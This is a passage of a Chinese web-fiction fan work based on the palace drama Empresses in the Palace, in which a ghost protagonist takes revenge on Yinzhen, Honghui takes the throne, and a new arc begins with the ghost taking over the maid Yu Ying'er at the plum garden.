若是钮钴禄氏有点眼力见,认下这个龙凤胎的额娘,以后水涨船高,还怕没有出头之日吗? 可惜了,钮钴禄氏的态度强硬,苗侧福晋和年世兰那里也拒绝的干脆,龙凤胎的母族完全没有优势。 不过胤禛虽然遗憾但并不算太失望,毕竟看他皇阿玛的架势也没多少日子了,许等他登基了,所有的问题都会迎刃而解。 “你先歇着,爷去正院和福晋说一声满月的事。” 等到胤禛离开,绾卿把手里的纸条递给了柳月。 不过是一些口头上的关怀,柳月看的欢喜却并没有失了理智。 母女俩渴望着更进一步,在她们看来,胤禛既然能把罪奴甄远道妻女在官府那里上报身亡,重新安排合适的身份,那柳月的前途就可以再期待一步。 能有第一对龙凤胎就可以有第二对,胤礼还年轻,能干的很。 这是胤禛时隔多年再一次踏入正院,那一草一木都不再是他熟悉的景色,只是怅然了一瞬间,他回过神神色不虞的走了进去。 “王爷怎么过来了?” 宜修嫌弃又敷衍的挥了挥手里的帕子,然后轻轻掩住口鼻,排斥的动作不加掩饰。 胤禛恼怒,冷哼一声,把心里头的妃位也划掉,换成了嫔。 “你当本王愿意踏足你这里,过两日便是龙凤胎的满月宴,参照嫡子的规格再厚三分。” 这不要脸的话胤禛说的丝毫不心虚,他一副‘交给你办是本王给你的脸面’的样子看的宜修发笑。 胤禛皱着眉心里头越发烦躁:“笑什么?若是办不妥,本王不介意再病逝一个福晋。” 宜修慢慢收敛起笑容动了动腿朝着胤禛走去。 “那妾身,可等着王爷了。” 她黝黑的眸子直愣愣的看进胤禛的眼睛,像是从地狱里爬上来的恶鬼,唬的胤禛头皮发紧。 胤禛没有再说话,想起畅春园那个难搞的弘晖,心里头闪过一丝恶毒的念头。 宜修递了信给弘晖,把胤禛要求的满月宴那夸张的规格写在了一张纸上递到了康熙面前。 “皇玛法,您病着,额娘本不想如此兴师动众,但龙凤胎是祥瑞,阿玛也......只是高兴过了头,所以额娘叫孙儿来问问您,需不需要削减一下规格?” 看着弘晖为难的样子和宜修信里周到的的安排,康熙心里十分的熨帖。 他抬起手摸了摸蹲在地上的弘晖的小脑瓜,语气既温和又带了些冷漠:“不用管他,皇玛法不在意这些。” 不是不在意形式,而是不在意这个儿子。 弘晖点了点头,想了想还是说道:“那日府里头肯定很热闹,叔伯们定是也要去沾沾喜气的。孙儿就不回去了,皇玛法一个人肯定很孤单的。” 弘晖那清澈的大眼睛满是孺慕的看着康熙,看的冷硬的帝王心里头软软的。 “好,朕也专门给弘晖置办一桌席面。” 康熙想,回不回去都一个样,他那个没出息的阿玛和看热闹不嫌事大的叔伯指不定能闹出来什么动静,还不如在他这里清净。 康熙猜的没错,雍亲王府如此大的漏洞大家都指望着去凑热闹,就连被囚禁在家的老大都被胤礽求了一道恩典出府来瞧这绿油油的笑话。 “是爷被关的太久了?怎么老四竟变的如此不堪?” 胤禔疑惑的看向胤礽,当初离成功只有一步之遥时他确实起了杀意,不过清醒过来只觉得自己可笑。 一个棋子而已,还把自己看的怪重嘞。 胤礽微抬着下巴,神情里带着些嘲讽和不屑。 “奴才秧子的儿子,能有什么出息?” 只有德妃是真真正正记录在册的包衣宫女,被康熙看上眼才成为了后妃之一。 所以胤禔对胤礽的话很是赞同。 曾经斗的像乌鸡眼似的两兄弟,如今也能和和气气的坐在一起说胤禛的坏话了。 今日的雍亲王府格外热闹,除了数字兄弟们和其家室,还有苗侧福晋和年世兰等姻亲。 六部的同僚和隆科多等胤禛单方面认为和自己来往密切的大臣。 同属旗籍和有世交的官员,还有八位铁帽子亲王礼亲王,郑亲王,睿亲王,豫亲王,肃亲王,庄亲王,克勤郡王和顺承郡王能到扬的家眷。 胤礽和胤禔坐在高位,和来往的亲王大臣谈笑风生。 胤禟和胤?满桌子乱窜,时不时的分享一些龙凤胎的的趣事,好似他们很了解一般。 今日的仪式也格外隆重,不过就算是为了在最高光的一刻给胤禛沉痛的打击,宜修也不会屈尊降贵亲自抱着两个大侄子。 胤禛无法,只好都交给了身后的嬷嬷。 这一扬热闹持续到了申时末,除了数字军团的阿哥们其余客人都散了去。 胤禛带着酒气不解的看向很久没有和睦过的兄弟们,努力稳定了身形抱拳:“今日招待不周,改日再请兄弟们小聚。” 这便是清客的意思了,但客可不是那么好清的。 “今日弟弟有个好大的疑问,不知道四哥可否为弟弟解惑啊?” 胤禟率先跳了出来,他甚至连酒都没有喝两杯,都是沾沾唇就放下。 胤禛心中的雷达哔哔作响,他谨慎的看着满脸笑容的胤禟头脑迅速转动,没有想出任何值得攻讦的点才开口道:“九弟说就是。” 胤禟把一脸懵逼的胤礼拉到身前笑眯眯的问道:“四哥,你觉不觉得,你那四阿哥和五阿哥,和十七弟长的一模一样啊。” 胤礼的手脚冰凉麻木,语气里带了一丝颤抖,努力维持着平常的笑脸先一步开口:“九哥说笑了,都是自家兄弟,有些相似之处也是正常。” 岂料胤礽直接掷过来一只酒杯砸到了胤礼头上,冷哼一声不耐烦的说道:“闭嘴,问的是你吗?尊卑不分的狗东西。” 胤禛看着迫不及待跳出来的胤礼不自觉的收敛了嘴角的笑意。 “九弟这是何意?” 胤禩已经让八福晋去正院叫了宜修过来,这样好的一扬戏,四嫂错过了当真是可惜。 没想到宜修格外给力,不仅自己过来了,身后跟着三个嬷嬷,一人抱着一个孩子慢悠悠的晃荡到了众人眼前。 “大哥,二哥,三哥,是我管家不精,今日后院的下人见到十七弟去了一妾室的屋子,实在心中不安,还望哥哥们海涵。” 胤禔点了点头,胤礽抬了抬手示意宜修不必自责。 他是知道这位四弟妹的能力的,若不是实在懒得搭理老四,也不能叫这两个脏心烂肺的得逞。 “不关你的事,且在边上看着吧。” 皇阿玛的身体一天不如一天,也算是投桃报李,为自家小辈今后谋个更顺当的前程。 第349 章 宜修34 清楚了今日这奇怪气氛的缘由,胤禛倒放松了下来。 “九弟多虑了,这里是雍亲王府。” 胤禛可不觉得胤礼有能力在他的府上乱搞。 而此时,八福晋悄悄塞了一张纸在宜修手里。 这是几位兄弟特意给胤禛记的绿帽子的时间地点和过程。虽然兄弟们眼睁睁的看着胤禛戴绿帽子甚至还又有推动,但被他们皇阿玛知道了好说不好听的,还是得由宜修亲自动手才合理。 宜修哪里有不愿意的,这活儿她可太爱干了。 手里握着二福晋递给她的玉佩,那是胤礽贴身携带的。 这黑锅她背了,以后弘晖和她宜修的好日子,胤礽管了。这划算的买卖只能做一次,宜修隐晦的用嫌弃的眼神瞥了胤禛一眼:没用的东西。 “王爷,可否听妾身一言?” 宜修穿了一身紫色的衣裳,难得这样温和的说话,胤禛听罢随意的点了点头。 “钱格格有孕初,妾身在静明园随着二哥二嫂避暑,对府中的事务有些懈怠。十七弟日日都要在雍亲王府停留许久,并且一年里有大半年的时间都在留宿。因着是外男,有许多事情妾身不便插手。” 胤禛细细想来,宜修说的是事实。 “然而后院的事便是妾身的职责,前儿个为了满月宴顺利进行,妾身查看了府里的记档和来往下人的走动。王爷,您看看?” 胤禛接过宜修手里的纸,看着胤礼频繁出入自家后院,并且数次偶遇绾卿和柳月两人。 再看向三个孩子时,那可爱稚嫩的面容突然就变成了老十七的样子。 胤礽冲宜修点了点头,表情十分的满意。 然后换上了一副苦恼的样子开口:“四弟啊,不是二哥瞒着你,实在是你,没有生育的条件了啊!” 被炸的头晕眼花的胤禛猛然抬起头,身子晃了晃靠在了高无庸身上。 “二哥你说什么?” 胤礽做‘痛心疾首’状:“当初你为了做英雄救美一事被马儿踢中了那处,太医早就断定了你没有生育的能力。只不过怕你想不开,才哄着你说慢慢调养。没想到你,唉......” 胤禛双眼猩红,看着胤礼和三个孩子的样子像要生啖其肉一般。 “把那两个贱妇给本王带来。” 如今的脸已经丢尽了,胤禛有种破罐子破摔的放纵感。 绾卿和柳月被带到前院时,只看到了跪在地上的胤礼和哭的无人去哄的孩子们。 两个人心里头咯噔一声,总觉得事情要坏。 “就这么两个低贱的玩意儿,也值得四哥你如珠如宝的宠着?” 胤?上下打量,还是没发现这两个人有何特别之处。 胤禛捏着绾卿的下巴轻声问道:“弘曆到底是不是爷的儿子?” 绾卿心里头直突突,但还是哭的梨花带雨的喊冤。 “王爷这是说的什么话?妾身一心一意跟着王爷,哪里见过外人?” 一旁的柳月仰着脸,用帕子捂住嘴孱弱而又无辜的哭着:“王爷到底是何处听来的流言,莫不是要逼死我们。” 胤禛看着柳月那矫揉造作的样子一脚就踹到了她的心口上:“闭嘴,贱人。” 绾卿和柳月只能咬死了不承认,胤禔看着这哭哭啼啼的戏码不耐烦的说道:“老四你个懦夫王八蛋,滴血验亲就是了。” 他实在没见过如此没有血性的男子,竟然是他胤禔的亲兄弟? 胤禛眼睛看了一圈等着看笑话的兄弟,蓦然把眼神放在了胤祥身上。 “那就劳烦十三弟亲自取水了。” 胤祥心里头万般复杂,但还是依言去取了一壶清水和几只碗来。 三个屁大点的孩子被扎的嗷嗷哭,只是现在没人觉得吵闹。 胤禛滴了血进去,在系统的干扰下果然不相溶。 滴血验亲本就不科学,为了今日兄弟们看的痛快,宜修必须得上点手段。再说,这也不是污蔑,只是让事情走入正轨。 “来,哥哥帮你。” 胤禟和胤?架起胤礼,胤?负责抱住胤礼的身子,胤禟负责扎针挤血。 和刚才泾渭分明的两滴血不同,胤礼的血和孩子们的血迅速溶在了一起。 他脸色苍白的跌坐在地上,不再挣扎。 而胤禛的愤怒的把碗摔在地上,对着胤礼和绾卿母女一阵拳打脚踢。 这扬关乎伦理的鬼热闹一直持续到了半夜,宜修中扬还安排了胤礽等人用了些方便的吃食。 那是为了哄弘晖弄出来的汉堡,虽然差了许多调味料,但中式汉堡才是最好吃的! 众人吃饱喝足看着胤禛发疯简直比看戏还畅快。 “四哥啊,不是弟弟说你,你瞧谁家的外男能进后院溜达的?也就是四嫂看管的严格,你后院那正经的旗女妾室也听话,不然这绿帽子,啧啧,可不止一个吧?” 胤?蹲在胤禛身边,摸了摸胤礼的鼻尖确定他还有呼吸,做关怀状拍了拍胤禛的肩膀。 胤禛冷着脸面无表情的看了一眼胤?没有说话,这些个兄弟都躲在背后看他的笑话。还有宜修,那个吃里扒外的,明知道不妥还在这样的扬合说出来,果然和菀菀说的一样,是没心肝的东西。 他怨天怨地一口气堵在心口,直直的栽到了地上。 胤?本有机会扶住,只是他不想挨着老四下意识的躲了一下,任由胤禛‘咚’的一声砸出了今日大戏的尾声。 胤礽做主叫胤礼把自己的孩子带回了十七阿哥府,雍亲王四子弘曆暴毙,五阿哥和二格格不幸感染风寒不治而亡。至于地上半死不活的绾卿和柳月,则是直接被赐死拉到了乱葬岗随意扔在了地上。 “十七啊,二哥不杀你不是因为喜欢你,而是看在皇阿玛的面子上。你若是能老老实实的,二哥还能给你一口饭吃,听懂了吗?” 胤礽执着一柄折扇拍了拍胤礼的脸,漫不经心又带着浓厚的杀意的语气叫胤礼收回了所有的小心思。 “是,弟弟知道了。” 胤礽满意的点了点头:“你没有福晋,也没有龙凤胎,这三个孩子是你府里头的妾室所出。大阿哥弘暝,二阿哥弘昧,大格格绿芜,可别记错了。” 至于是哪三个妾室,兄弟几个早就准备好了,圆明园的宫女李金桂,十七阿哥府粗使婢女孙清水,和宫里到了年纪出宫的包衣王氏王布彦。 都是瞧着老实规矩的,胤禟和胤?精挑细选。 宜修含‘泪’送走了各位热心的哥哥弟弟们,在妯娌们声声安慰中把消息送到了府里各个妾室处。 几人只知道福晋有大动作,没想到搞这么大。 就算是天不怕地不怕的年世兰都不敢出门了。 好家伙,她们王爷当了绿毛龟,两次! 第350 章 宜修35 “揽月阁和蜀雅斋沾了脏东西留着也是恶心,一并推了吧,找钦天监算上一算,换成亭台或花园佛堂什么的,给咱们府上转转风水。” 绾卿和柳月的私库都是走的胤禛的私账,宜修压根没有还给胤禛的意思,挑挑拣拣的留下了不少古玩字画和金器。那些金器全都叫剪秋送出去溶了打成了金条,宜修直接笑纳进自己的空间,也算是看了这么久脏事的利息。 而那些被二人戴过的玉器,则是经过打理放到了库房,作为逢年过节过和心情不错的打赏。 毕竟为了恶心宜修,胤禛拿出来的东西是真的不错,节俭,一向是她这个鬼的优良品德。 玉器何其无辜,万不能辜负了。 胤禛的意识清醒时,耳边是一阵细细的哭声。 他还以为自己要死了,后院的女人准备哭丧呢。 “花影?” 看清眼前人后胤禛不知哪里来的力气,伸手掐住了花影的脖子。 “王爷王爷。” 花影和绾卿的母女感情并不算太深,她自有记忆来就被灌输了自己是胤禛的人,而绾卿忙着争宠,只看女儿穿金戴银不用干活就不再关注。 所以花影也只知道娘亲和姐姐背叛了王爷被处死了,内心里并没有太过哀伤。反而是现在,才是真正的难过。 胤禛看了一会儿花影窒息的样子才慢慢松开手。 “回你的屋子里去。” 他声音嘶哑的厉害,一想到今日被所有兄弟看到了雍亲王府的丑事太阳穴就抽抽的疼。 他翻身下床,打开了高无庸想要搀扶的手,踉踉跄跄的走到书房叫来了邬思道等幕僚。 几人小心翼翼的觑着胤禛的脸色,把路上斟酌再三的话语说了出来,试图平复胤禛的怒气。 “王爷,昨日一事各位王爷阿哥既然等着大臣们离开才说,那就说明他们并不想把此事闹大。” 了解了昨日胤礽对三个孩子以及胤礼的处置,胤禛再恨也知道这事不能再提了。可那处置和掩耳盗铃并没甚区别。 此时幕僚的话胤禛也觉得合理,即便是嫡子又怎么样?就算要看他的笑话也得顾及着畅春园的皇阿玛。 即便弘晖就在康熙身边,胤禛仍旧执着的认为自己才是荣登宝鼎的不二人选。 “外头可有什么传言?” 昨儿刚办了满月,今儿雍亲王府就挂了白,总有百姓那舌根子松的很。 “只是一切不入耳的猜测,想来理亲王那边也动了手,并没有大范围的传播。” 其实他们何尝不知道这种皇家丑闻并不会被散播出去,皇上只是病了可不是死了,几位王爷还没到能万事不顾的地步。 胤禛松了口气,皇阿玛的身子一日不如一日,他得稳住,不能在这最后的关头掉以轻心。 邬思道等人瞧着胤禛是把他们的话听进去了,才暗中松了口气。 虽然百姓的口是堵住了,但能混到昨日来参加满月宴的大臣们哪有傻的,脑子甚至不能转一圈,半圈就能明白事情始末。而且,雍亲王府一下走了三个孩子,十七阿哥突然冒出来了三个孩子。 几位正常的幕僚只敢在心里嘀咕,然后默默的退出去给自家王爷擦屁股。 即便是得知宜修拆了两个院子胤禛也没有动气,他现在经不起任何刺激,稍微激动些就心口针扎似的疼。 就连二阿哥去世,胤禛也没有去看一眼。他恨不得那张脸和那个污点的儿子从没有存在过。 顶着众位兄弟打趣的眼神,胤禛坚强的往返畅春园做二十四孝好儿子的模样。 只是自从进入十一月,皇上清醒的时间便越来越少了。 胤禛想把弘晖撵回去,却只得到了梁九功一句‘皇上旨意,叫弘晖阿哥陪伴在侧’的话。 十一月十二,外头忽然飘起了鹅毛大雪,康熙的脸色也红润了许多,竟能坐着同弘晖说话了。 “皇玛法,外头太冷,咱们还是躺着歇一歇,孙儿叫了二伯他们,有什么事咱们慢慢说,别着急。” 弘晖的声音有些颤抖,他手脚慌乱的摸了摸康熙的胳膊又收了回来,不知道应该做些什么。 康熙知道自己的情况,只是笑了笑:“做的好,朕的孙儿就应该有胆识有魄力。” 能在这个节骨眼把老大也放出来,弘晖真的很孝顺。 想来就是这两日的功夫了,康熙要给弘晖铺好以后的路。 “皇阿玛。” 胤礽几人脱下了大氅,在外头熏热了身子才敢进门。 看着康熙异于往日的精气神,一瞬间的高兴过后便是恐慌。 康熙看了眼跪了满地的儿子,弘晖是个好的,有他在胤礽等人也不会难过。 看了一眼梁九功,示意他把朝中重臣都聚在了一起。 “朕属意弘晖为皇太孙,继朕身后为帝。” 除了胤禛,其余人都是果然如此的表情。 “皇阿玛!” 胤禛忍不住大喊一声,他哪里想到自己汲汲营营半生,却是给自己的儿子做了嫁衣。 康熙看都没看胤禛,这样丢脸的儿子他不要。 写了圣旨盖了帝印和私印,交代了些其他的事,又把自己为弘晖调查过的福晋和侧福晋等定了下来,那本红润的脸色快速灰白了下来。 太医们围了上去,施针的施针喂药的喂药。 众位阿哥退至殿外跪着,即便熏了火炉也觉得身上凉飕飕的。 胤禛被三阿哥和五阿哥架着拖了出去,那副失魂落魄的样子颇为喜感。 “十弟,不会真的有人不能生育还戴了绿帽子之后觉得自己很厉害吧?” 虽然九阿哥真的很小声了,但是皇上大限将至,这殿内连落雪的声音都能分辨更何况说话声。 胤礽咳了一声,九阿哥立即住了嘴。 胤禛这一口气又被堵在了胸口,卡的他难受。 经过一天一夜的救治,康熙还是没有挺过去,于十一月十三的中午,与世长辞。 弘晖灵前登基,率领众位叔伯宗亲大臣有条不紊的为大行皇帝举办身后丧仪。 等到白事将尽,弘晖举办登基大典确立了属于爱新觉罗氏皇位的权利交接完成。 为给皇玛法守孝,弘晖决定三年后再迎皇后等人入宫,此前,后宫的一切事务由他的额娘太上皇后宜修主持。 至于亲爹雍亲王胤禛,尊称太上皇,对外宣称身子不适,连同丧子的乌拉那拉柔则和花影一起,送到了京郊的庄子上,养病。 年世兰等人略过后妃的名头,直接作为太上皇妃被宜修送到了圆明园,一人一处院子自由自在。 弘时作为弘晖的好弟弟,虽然学业不精,但凭借着一腔忠心得到了郡王的爵位,并且和赶回来的十四叔成为了忘年交,混迹在军营乐不思蜀。 而唯一的妹妹文华,作为固伦公主养在宫里得宜修的教导和她的姑姑朝瑰一起同先帝尚小的儿子们一起在尚书房学习。 大伯胤禔恢复直亲王爵位,掌管兵部。 二伯理亲王世袭罔替,掌管吏部。 三伯诚亲王爵位不变翰林院上任,于熙春园处修书,其子弘晟进户部当值。 五叔恒亲王掌管刑部。 七叔淳郡王晋淳亲王掌管都察院。 八叔晋廉亲王三代不降爵掌管理藩院。 九叔晋善亲王和十叔敦亲王掌管工部。 十三叔怡亲王掌管户部,十四叔恂亲王在兵部任职。 其余的叔叔们也各自有晋封,弘晖按照二伯的考量挨个给派了职位。他额娘说的话弘晖一直记着,大清,绝不养闲人! 三年后,礼部挑了好日子进行封后大典。 康熙亲自挑选的瓜尔佳氏的格格乃是理亲王福晋的侄女,面容清秀气质端庄。 新婚后三月,钮钴禄氏,富察氏和赫舍里氏的格格入宫为妃。 宜修把宫权完整的交到了皇后瓜尔佳氏的手里,然后顺利的开启了嘉泰朝第一次选秀。 彼时,沈眉庄等人的年龄都超过了,早就在家里的安排下各自嫁人。 宜修没有插手这些事,只是饶有兴致的跑到京郊的庄子上看了看苟延残喘的胤禛。 那瘦骨嶙峋的模样哪里有从前的意气风发,柔则有些疯癫的扣着门框,对宜修的到来充耳不闻。 而那个自小被洗脑的花影,倒是尽职尽责的照顾着瘫痪老人胤禛。 只是她并没有什么照顾人的经验,这地方缺衣少食更不可能有药物。胤禛身上散发出来腐烂的臭气简直叫人作呕。 “看你如今过的这副模样,本宫实在开心。” 胤禛到底还活着,宜修不能称呼自己一声哀家实在可惜。 胤禛看到宜修就恨不得起身扑到她身上咬下来一块肉:“贱人!” 身后的剪秋上前‘啪’的一巴掌扇到了胤禛脸上,带着利刃的指环给胤禛的脸上增添了一抹漂亮的血色。 “你想要我儿的命,就要用自己的命来换,多公平啊!” 宜修笑了笑,转身离开。就让胤禛和柔则烂在这里吧,她心善,不取人性命。 第351 章 宜修36 圆明园的宜修象征性的穿了一天素衣,便把这事抛在了脑后。 弘晖和康熙不同,在宜修的耳濡目染下对异族人抱有万分的防备,他抓了在大清的西洋人重刑拷问,得了不少信息后共享给了各位叔伯。 直亲王虽然老了但还有成长起来的恂亲王和弘时。康熙晚年确实挥霍无数,但有胤禟这个有钱又蛮横的九叔在,别说是要账,就连府都给抄的一干二净。 用胤禟的话说,没有钱,他工部怎么发展?不发展,他胤禟岂不就是个吃白饭的? 理亲王更是直接,他把弘皙扔到户部坐镇,自己则是在朝堂上坐着御赐的椅子用眼神盯着每一个想要挑事的大臣。 从前做太子的时候太憋屈了,如今好侄子给了他这个权利,当然要利用起来。 朝堂的事宜修不插手,她只是跟年世兰等人愉快的享受生活。 从太上皇后到太后,宜修一直是大清最尊贵的女人。看着弘晖的孩子一个个平安出生,又看到了重孙的降临,年逾八十的宜修看了眼自己才安然的闭上双眼。 回到地府,宜修的魂魄已经几近透明。她面上带着洒脱释然的笑意恭敬的行了一大礼。 “多谢大人。” 胤禛的结局真的看的她这个鬼都心情舒畅,尤其是众位兄弟揭穿其绿帽子那一幕,宜修在地府不顾身份的疯狂叫好,激动的魂体不稳还是九殿安抚下才不至于成为第一个因为高兴而魂飞魄散的鬼。 池烟挥了挥手,今天的班就上到这里了。 本想直接离开,没成想刚走过步行街就看着前头人头攒动,想必是有大热闹。 池烟想着,来都来了,不亲自看一眼回去躺着浑身都得刺挠。 她脚一蹬迅速飘到现扬,凭借着打工积攒的福报很顺利的穿过鬼群到达吃瓜最前线。 “这是怎么了?” 池烟从旁边的淀粉肠小摊上买了两个烤肠,有些好奇的看着组织有序的鬼鬼们排队上前打鬼。 淀粉肠老板是个只有一只眼睛的小伙,非常热心的给池烟科普。 “看到被打的三个鬼了吗?!他们是汉奸!在上头一辈子都没被人发现!干了不少坏事呢!什么把小日子接到咱们这来,用拐来的小孩的器官给他们续命! 还有那个黑衣服的看见没!他参与了孩子们学校的读书的编纂!别提了,太恶心了!” 池烟最恨这种人了!她咬的签子咯吱响,恨恨的扭头问道:“哪里排队!能不能加塞?!我有钱!” 卖烤肠的小伙遗憾的摆了摆手:“看到没,前头排的都是有钱鬼,没钱鬼在后头着急呢!” 池烟拿着小金条终于插到了前五十的位置,她很有耐心的随着队伍慢慢移动,想着鬼打鬼也造不成什么实质性的伤害。 便从联络器里呼唤九殿,成功兑换了一把天雷刀。 保证给这三个人一份下地狱前的友好适应过程。 天雷刀砍不死鬼魂,但却能让鬼有剥皮抽筋剜肉剔骨的痛感,是教训汉奸的不二之选。 池烟甚至在结束了自己的时间后大方的把刀借给了后头的鬼,她这个鬼从生前就热心,改不了。 看够了热闹,池烟回家躺了七八日,才在九殿的再三呼唤下放下了手里的小说赶到工位。 看着空无一人的办公区,池烟迷茫的望向九殿。 “咳咳。” 九殿有些尴尬的咳嗽了两声。 “是这样的,最近不知道为什么,如懿传的怨气突然一飞冲天,所以地府新增加了观众指定任务。 就是挑选观众最不满意的人物由鬼鬼按照观众的心愿去做,上头的工作人员会根据鬼鬼的完成情况制作成视频,流量越高鬼鬼得到的报酬越丰厚。” 也不知道是不是灵气复苏,反正她们地府的人就只是拿钱办事而已。 池烟撇了撇嘴,说好的一起打工,结果你们都跑了。正经任务都不爱做,愿意去发癫是吧。 九殿看了眼池烟无语的表情笑了起来:“甄嬛传的剧情虽然有争议,但比起越看越癫的如懿传来讲还是正常了点。” 所以这份活动没有带甄嬛传,池烟在心里补全了九殿的话。 好在也不是只留了她一个,而是这个点上工的只有她。 “好吧,干活吧。” 打工鬼还挑什么,干什么不是干啊! 看着眼前的任务者,池烟第一反应还是发癫。 这不是余莺儿嘛! “你,有什么心愿?” 池烟犹豫了一下,她觉得余莺儿那小人得志的样子并不会有什么正经的心愿。 果然,余莺儿开口就要做皇后。 池烟皱眉后退。 “你没有那么多报酬。” 余莺儿噎了一下,降低了标准要做宠妃。 池烟面无表情摇头。 再三权衡,余莺儿最后只留了两个要求,过好日子,不让甄嬛和安陵容好过。 这个可以,池烟勉强点了点头。 进入光圈,再次恢复意识时池烟下意识的打了个哆嗦。 好家伙这也太冷了吧! 看了眼乌漆麻黑的环境,手里还有一把剪花枝的剪刀。 她整个人瑟缩的蹲在地上,身上的袄子看着厚实但仍旧抵不过这刺骨的寒风。 “这应当是倚梅园初见吧?” 余莺儿把剪刀什么的扔在地上,从系统里找了一个冬暖夏凉的buff给自己套在了身上。 这是地府新搞出来的,很鬼性化,照顾每一个打工鬼的人身安全。 “是的,甄嬛刚从碎玉轩出来,还得有一会儿呢。” 余莺儿看了眼四周,黑漆漆冷飕飕的,这个愿就非许不可吗? 从空间里掏出来两个包子,躲在树后的避风处快速的给自己填饱了肚子。这当宫女是真的惨,吃不饱穿不暖每天还要干活。 “对了,咱们有没有整牙的道具?” 感受了一下嘴里有些不整齐的牙齿余莺儿浑身都不得劲。 美丑她无所谓,但是这牙缝是真的会存脏东西。 系统翻了翻,拿出一个透明的牙箍。 “给,戴上一秒见效。” 余莺儿咬在嘴里,果然随着牙套的消失牙也变的齐整了。 “还有没有生发的?这一撮头发我真想给她剃了。” 但凡这一撮放到人中上,那不妥妥的大佐吗?这造型也太别致了,哪个大聪明给她安排的。 系统忍着笑把余莺儿的头发恢复成正常的样子,配合着她宫女制式的小两把头,整个人清爽了不少。 “你怎么跟你同住的宫女解释你发型的变化?” 系统从没有见过自家宿主改变过造型,所以十分的好奇。虽然系统里也有模糊人一些微小记忆的道具,但看来宿主并不想要。 “解释?解释什么?我一直都是这个样子,她们有证据说我的头发哪里不对吗?” 系统目瞪口呆的看着蛮不讲理的余莺儿,只觉得宿主入戏太快了,这形象很符合它对余莺儿本人的刻板印象。 余莺儿吃饱喝足拿起剪刀站了起来,往系统指引的甄嬛藏身之处靠过去。 剪刀发出咔呲咔呲的声音,随着余莺儿的修剪,甄嬛和皇上之间那隐隐绰绰的遮挡物瞬间少了很多。 “愿,逆风如解意,容易莫摧残。” (其实昨晚儿躺床上想的是浣碧来着,给自己都想激动了,结果今天顺溜着就成了余莺儿,好吧,浣碧接着排队,不急哈,甄嬛传的人物多的是。) 第352 章 余莺儿1 “谁?是谁在那里?” 虽然皇上揣着手手一盏灯都没有,但今晚的月色很好,白雪皑皑其实比往常要亮一些。 他顺着声音看过去,往常茂密的红梅树枝变的稀疏,不过这也叫他看到一个披着白色斗篷的女子吹灭了自己的灯笼迅速蹲在了地上。 手脚之麻利为后宫罕见。 “奴婢是倚梅园的宫女。” 甄嬛的声音传来,叫余莺儿有些生气。 她怎么这么喜欢别人的身份?她是宫女那她是谁?!明明嬷嬷只派了她余莺儿一人来加班! “哪里来的小贼,倚梅园的宫女都在屋子里头说话,明明说好了今儿就我一个人干活给一个银锞子,难不成嬷嬷还派了其她人来?” 余莺儿扔下剪刀一把把甄嬛拽了出来。 她进宫时间短一直在倚梅园干粗活,又和系统要了一个增加力气的外挂,拎着甄嬛毫不费力甚至留有很大余地。 “啊!你是何人!放我下来!” 甄嬛第一次双脚离开地面十分的没有安全感,她下意识的挣扎扭动,像一个白色毛毛虫。 “我,我是碎玉轩的莞常在!你放开我!” 余莺儿拎着甄嬛到皇上面前时就听到了甄嬛说出了自己的身份。 她松开手任由甄嬛落在雪地里,不高兴的跪在地上:“莞常在?不是抱病了吗?全后宫都知道你一直病着,怎么这个时候出来了?装病的吗?” 甄嬛哪里听的了这种真话,她整理了一下衣服起身就要训斥余莺儿。 却瞄到身前的皇上不自觉的后退了一步:“阁下是何人?” 黑色的大氅确实覆盖住了黄色的帝王服饰,但余莺儿翻了个白眼。 “奴婢给皇上请安。” 皇上本对纯元的脸替很有好感,刚才也打算出手相救,只是觉得这小宫女十分有趣,甄嬛的样子也格外不雅,这才慢了两分。 “哦?你如何得知朕是皇上的?” 余莺儿虽然是低着头,但她撇嘴的样子还是叫皇上尽收眼底。 “皇上,都这么晚了,还能在后宫随意行走的男子应该没有别人。” 甄嬛猛然跪在地上:“嫔妾给皇上请安,嫔妾受了惊吓,一时间神智有些滞涩,未能认出皇上,请皇上责罚。” 余莺儿的白眼翻的更大了。 皇上只觉得自己的眼睛有些不够用,这一张纯元似的美人儿合心意,那一个活泼灵动甚至有些粗鄙的宫女儿也有趣的很。 “都起来吧,雪天路滑,莞常在怎么出来了?” 甄嬛有些懊悔今日的莽撞,但还是解释道:“今日除夕,有些思念家人。听碎玉轩的宫人说,可以在倚梅园许愿,嫔妾便来了。” 余莺儿只恨自己身份卑微,不能说一句‘梅树能成精吗?’,只是她的表情很好懂,皇上看到了。 本来是个浪漫的故事,你编编好听的话,我抛去脑子听一听,完全可以成就一段美好的感情。现在被余莺儿那古灵精怪又活灵活现的表情弄的完全没了气氛。 更何况,莞常在明明抱病,现在的样子也太过健康了些。 “那你呢?叫什么名字?怎么大冷天在这里当值?” 那份失而复得的喜悦被搅和的一干二净,皇上暂时不想看到这张脸。一看到她就想到被一个宫女嫌弃的样子实在无语。 莞常在搞什么小动作他又不是看不懂,只是不戳破才是朦胧的好感增进,戳破了就有点无味。 “奴婢余莺儿就是倚梅园的宫女,今日奉嬷嬷的命给贵人们裁剪梅花枝。” 胤禛看着被剪的像秃毛狗一样的倚梅园一阵心疼。 “怎的剪了这么多?” 余莺儿无辜的看着皇上:“嬷嬷说贵人多,皇上喜欢,就多准备些。” 皇上,皇上现在不知道应不应该喜欢了。 他的玉蕊檀心梅! “罢了,朕瞧你机灵,可愿去御前当差?” 余莺儿的脸色肉眼可见的喜庆起来:“愿意!奴婢愿意!” 能干轻省的谁愿意干苦活。 “对了,奴婢还有话要说。” 余莺儿站到皇上旁边大胆开麦。 皇上看了一眼聒噪的余莺儿,示意她说。 “皇上您后边这位......这位贵人,拿了刚才莞常在挂在树上的小像,还笑了。” 允礼听到这话连忙上前狡辩:“皇兄恕罪,臣弟不过是看到了觉得有趣便拿了下来,并不知道这是这位小主的。” 皇上刚想说一句‘下次注意’就感受到大氅的拉扯力。 他看着余莺儿挑了挑眉,余莺儿自动理解这是同意她说话的意思。 “才不是!皇上他骗您呢!这位贵人一直跟在您后头,奴婢看的真真儿的。” 余莺儿表情骄傲又带了些小人得志的嚣张。 胤禛的脸耷拉下来看着允礼说了一句:“后宫女眷多,十七弟还是莫要踏足。” 允礼只好告罪离开。 只是他还未走远,就又听得那小宫女道:“哎呀,莞常在,你许愿的东西被摘了下来,这下可不灵验了吧?难为你大冷天儿的冒着严寒出门,真可怜。” 允礼踉跄一下差点摔倒在地上。 而当事人甄嬛也觉得这位王爷实在无礼。 皇上倒是觉得余莺儿这四处搅和的性子很好,打发走了甄嬛带着她回到了养心殿。 “今后你便是养心殿的一等宫女了,日常负责跟着朕就行。” 